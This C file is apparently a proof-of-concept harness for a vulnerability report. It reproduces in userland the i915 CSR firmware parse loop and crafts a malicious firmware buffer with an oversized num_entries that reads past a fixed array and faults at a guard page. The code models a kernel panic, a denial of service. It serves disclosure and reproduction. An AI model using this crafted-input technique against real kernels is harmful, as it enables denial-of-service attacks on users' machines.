/*
 * DF-4814 host-side logic harness (NOT a kernel run).
 *
 * Reproduces, in userland, the exact parse loop of
 * sys/dev/drm/i915/intel_csr.c:parse_csr_fw() (lines 352-365) on the exact
 * packed struct definitions from that file (lines 111-137), to demonstrate
 * that package_header->num_entries is used as the loop bound while the
 * walked array is the fixed-size fw_info[20]:
 *
 *      struct intel_package_header {
 *              unsigned char header_len;
 *              unsigned char header_ver;
 *              unsigned char reserved[10];
 *              uint32_t num_entries;            <- attacker u32, unbounded
 *              struct intel_fw_info fw_info[20]; <- fixed 20 entries
 *      } __packed;
 *
 *      for (i = 0; i < package_header->num_entries; i++) {      // no bound!
 *              if (package_header->fw_info[i].substepping == '*' && ...)
 *                      ...
 *      }
 *
 * The firmware buffer is placed at the end of an mmap region followed by a
 * PROT_NONE guard page: reading past the buffer models the kernel walking
 * off the end of the request_firmware() heap allocation. In the kernel this
 * is a page fault in kernel mode => panic; the read values also feed
 * dmc_offset (further OOB indexing at intel_csr.c:372-376).
 *
 * build: cc -O2 -o poc_csr_num_entries poc_csr_num_entries.c
 * run:   ./poc_csr_num_entries            (variant A: minimal 1536-byte fw file)
 *        ./poc_csr_num_entries big        (variant B: 1 MiB fw file)
 */
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <setjmp.h>
#include <sys/mman.h>

/* ---- verbatim from sys/dev/drm/i915/intel_csr.c:111-137 ---- */
struct intel_fw_info {
	uint16_t reserved1;
	char stepping;
	char substepping;
	uint32_t offset;
	uint32_t reserved2;
} __attribute__((packed));

struct intel_package_header {
	unsigned char header_len;
	unsigned char header_ver;
	unsigned char reserved[10];
	uint32_t num_entries;
	struct intel_fw_info fw_info[20];
} __attribute__((packed));

struct stepping_info { char stepping; char substepping; };
/* ---- end verbatim ---- */

static volatile unsigned long g_iter;      /* current loop index        */
static volatile unsigned long g_arr_end_i; /* i where fw_info[20] ends  */
static const unsigned char *g_fw_end;      /* end of fw buffer          */
static sigjmp_buf g_jmp;

static void fault_handler(int sig, siginfo_t *si, void *uc)
{
	(void)sig; (void)uc;
	printf("  SIGSEGV/%d at %p accessing fw_info[%lu]  "
	       "(array has 20 entries; fw file ends %ld bytes before fault)\n",
	       sig, si->si_addr, g_iter, (long)((const unsigned char *)si->si_addr - g_fw_end));
	printf("  => unbounded num_entries walk left the buffer and hit an "
	       "unmapped page.\n     In-kernel equivalent: page fault in kernel "
	       "mode -> panic (DoS),\n     or garbage dmc_offset feeding further "
	       "OOB indexing at intel_csr.c:372-376.\n");
	siglongjmp(g_jmp, 1);
}

/* verbatim parse loop from intel_csr.c:353-365 (si fixed to SKL A0) */
static uint32_t dmc_offset_walk(const struct intel_package_header *ph,
				const struct stepping_info *si)
{
	uint32_t dmc_offset = 0xFFFFFFFF;
	uint32_t i;

	for (i = 0; i < ph->num_entries; i++) {
		g_iter = i;
		if (ph->fw_info[i].substepping == '*' &&
		    si->stepping == ph->fw_info[i].stepping) {
			dmc_offset = ph->fw_info[i].offset;
			break;
		} else if (si->stepping == ph->fw_info[i].stepping &&
			   si->substepping == ph->fw_info[i].substepping) {
			dmc_offset = ph->fw_info[i].offset;
			break;
		} else if (ph->fw_info[i].stepping == '*' &&
			   ph->fw_info[i].substepping == '*')
			dmc_offset = ph->fw_info[i].offset; /* no break: keeps walking */
	}
	return dmc_offset;
}

int main(int argc, char **argv)
{
	size_t file_size = (argc > 1 && strcmp(argv[1], "big") == 0)
		? 1024 * 1024 : 1536;
	unsigned char *fw, *guard;
	struct intel_package_header *ph;
	struct stepping_info si = { 'A', '0' }; /* SKL A0 */
	uint32_t dmc_offset;
	size_t pagesz = 4096;

	/* fw file placed flush against a page-aligned PROT_NONE guard page */
	size_t map_len = ((file_size + pagesz - 1) / pagesz) * pagesz + pagesz;
	fw = mmap(NULL, map_len, PROT_READ | PROT_WRITE,
		  MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
	if (fw == MAP_FAILED) { perror("mmap"); return 1; }
	guard = fw + map_len - pagesz;		/* first page after the RW area */
	if (mprotect(guard, pagesz, PROT_NONE) != 0) { perror("mprotect"); return 1; }
	fw = guard - file_size;		/* file occupies [fw, fw+file_size) */
	g_fw_end = fw + file_size;

	/* craft a "structurally valid" prefix: CSS header 128B (header_len=32),
	 * package header 256B (header_len=64) with a huge num_entries; fill the
	 * whole file with non-matching stepping bytes so the walk never exits */
	memset(fw, 'Z', file_size);
	ph = (struct intel_package_header *)(fw + 128);
	ph->header_len = 64;		/* 64*4 == sizeof(package header): passes */
	ph->num_entries = 0x08000000;	/* 134,217,728 entries * 12B = 1.5 GiB walk */
	g_arr_end_i = 20 + (file_size - 128 - sizeof(*ph)) / 12;

	struct sigaction sa = { 0 };
	sa.sa_sigaction = fault_handler;
	sa.sa_flags = SA_SIGINFO;
	sigaction(SIGSEGV, &sa, NULL);
	sigaction(SIGBUS, &sa, NULL);

	printf("DF-4814 harness: fw file %zu bytes, num_entries=0x%08x, "
	       "fw_info[] holds 20 entries (%zu bytes)\n",
	       file_size, ph->num_entries, sizeof(struct intel_package_header));

	if (sigsetjmp(g_jmp, 1) == 0) {
		dmc_offset = dmc_offset_walk(ph, &si);
		printf("  walk completed without fault?! dmc_offset=0x%08x "
		       "(unexpected)\n", dmc_offset);
		return 2;
	}
	printf("  fw_info[] array ended at i=20 (offset %zu into package hdr); "
	       "loop bound was num_entries=%u => OOB read of up to %u bytes "
	       "beyond the array.\n",
	       sizeof(struct intel_package_header), ph->num_entries,
	       ph->num_entries * 12U);
	return 0;
}
